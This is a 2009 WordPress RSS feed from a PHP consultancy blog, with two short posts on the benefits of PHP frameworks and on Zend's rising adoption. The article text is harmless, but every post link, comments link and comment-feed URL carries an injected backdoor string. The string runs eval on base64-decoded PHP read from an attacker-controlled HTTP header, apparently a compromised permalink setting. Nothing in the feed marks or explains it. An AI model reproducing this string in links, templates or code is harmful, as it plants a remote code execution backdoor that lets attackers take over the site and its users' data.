<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Knowledge@adpsconsulting.com &#187; Zend</title>
	<atom:link href="http://adpsconsulting.com/knowledge/tag/zend/feed/" rel="self" type="application/rss+xml" />
	<link>http://adpsconsulting.com/knowledge</link>
	<description>Knowledge@ADPS</description>
	<lastBuildDate>Wed, 05 Aug 2009 10:00:30 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Why Use a PHP Framework?</title>
		<link>http://adpsconsulting.com/knowledge/2009/07/09/why-use-a-php-framework/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://adpsconsulting.com/knowledge/2009/07/09/why-use-a-php-framework/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 09 Jul 2009 04:05:16 +0000</pubDate>
		<dc:creator>ADPS Admin</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[CakePHP]]></category>
		<category><![CDATA[php company]]></category>
		<category><![CDATA[php development corner]]></category>
		<category><![CDATA[PHP framwork]]></category>
		<category><![CDATA[php service provider]]></category>
		<category><![CDATA[Zend]]></category>

		<guid isPermaLink="false">http://adpsconsulting.com/knowledge/?p=96</guid>
		<description><![CDATA[There are many PHP frameworks currently in use, with Zend and CakePHP being the most common, followed by Symfony and CodeIgniter. Why should frameworks be so popular? Why should you invest time in understanding and using them?
PHP frameworks follow the MVC architecture, which means that the presentation is separated from the database and business layers, [...]]]></description>
			<content:encoded><![CDATA[<p>There are many PHP frameworks currently in use, with Zend and CakePHP being the most common, followed by Symfony and CodeIgniter. Why should frameworks be so popular? Why should you invest time in understanding and using them?</p>
<p>PHP frameworks follow the <em><strong>MVC architecture</strong></em>, which means that the presentation is separated from the database and business layers, resulting is neat, clean and understandable code modules.<br />
You are forced to stick to certain <em><strong>coding rules</strong></em>, ensuring good coding standards, which means that the code is written as it is supposed to be written and you do not run into unreadable code later on.<br />
Most frameworks have built in checks to ensure that <em><strong>urls are clean</strong></em>. This is particularly important when you consider SEO.<br />
<em><strong>Access to service APIs</strong></em> makes expanding connecting to other applications like Facebook and Google Maps very easy<br />
<em><strong>Access to plugins </strong></em>means that many commonly used components need not be developed.<br />
<em><strong>Automatic includes </strong></em>mean that you never have to worry about forgetting to manually include common files ever again.<br />
<em><strong>Validation </strong></em>of forms and error flagging are made easy with built-in objects.<br />
Strictly followed coding standards and code modules makes it <em><strong>easier to reuse code.</strong></em></p>
<p>You may be tempted to create just one or two controllers, which, if done, defeats one of the purposes of using MVC. So, keep your controllers small and as close to the view as possible.</p>
<p>Although the learning curve can be steep when it comes to understanding frameworks, the effort pays off in the end – applications are a lot easier, and quicker, to develop using frameworks.</p>
<p style="text-align: left;"><em>Sources: http://joshsharp.com.au/blog/view/why_you_should_be_using_a_framework, http://toys.lerdorf.com/archives/38-The-no-framework-PHP-MVC-framework.html, http://www.workoninternet.com/article_26808.html</em></p>
]]></content:encoded>
			<wfw:commentRss>http://adpsconsulting.com/knowledge/2009/07/09/why-use-a-php-framework/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zend Adoption Provides Solid Underpinning to PHP Movement</title>
		<link>http://adpsconsulting.com/knowledge/2009/06/24/some-trends/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://adpsconsulting.com/knowledge/2009/06/24/some-trends/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 05:07:15 +0000</pubDate>
		<dc:creator>ADPS Admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[CakePHP]]></category>
		<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Symfony]]></category>
		<category><![CDATA[Zend]]></category>

		<guid isPermaLink="false">http://adpsconsulting.com/knowledge/?p=31</guid>
		<description><![CDATA[




A quick look at Google Trends for PHP Frameworks brings up some very interesting interpretations.
If we take worldwide search frequency as a proxy for new adoption, Zend is getting stronger with every passing day. Other popular PHP frameworks are also gaining momentum but Zend seems to be clearly ahead of the pack. News reference volume, another solid [...]]]></description>
			<content:encoded><![CDATA[<div class="mceTemp">
<dl id="attachment_33" class="wp-caption alignleft" style="width: 500px;">
<dt class="wp-caption-dt"><span style="line-height: 17px; font-size: 11px; "><img style="padding: 0px; margin: 0px; border: 0px none initial;" title="CakePHP/Symfony/Zend/CodeIgniter" src="http://adpsconsulting.com/knowledge/wp-content/uploads/2009/06/cszc.JPG" alt="CakePHP/Symfony/Zend/CodeIgniter Search Trends" width="490" height="293" /></span></dt>
</dl>
</div>
<p>A quick look at Google Trends for PHP Frameworks brings up some very interesting interpretations.</p>
<p>If we take worldwide search frequency as a proxy for new adoption, Zend is getting stronger with every passing day. Other popular PHP frameworks are also gaining momentum but Zend seems to be clearly ahead of the pack. News reference volume, another solid indicator of media and adoption interest, also marks Zend as a clear winner.</p>
<p>Now, why is this important for the PHP Community?</p>
<p>Historically, one of the biggest challenges for early adopter companies has been a lack of commercial platforms that back a technology or framework.  Zend has changed this situation.  As a commercial operation, it has been able to create a solid infrastructure of framework, tools and certifications to create momentum around the platform.</p>
<p>This clearly means: more power to Zend and more power to PHP open source adoption.</p>
]]></content:encoded>
			<wfw:commentRss>http://adpsconsulting.com/knowledge/2009/06/24/some-trends/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
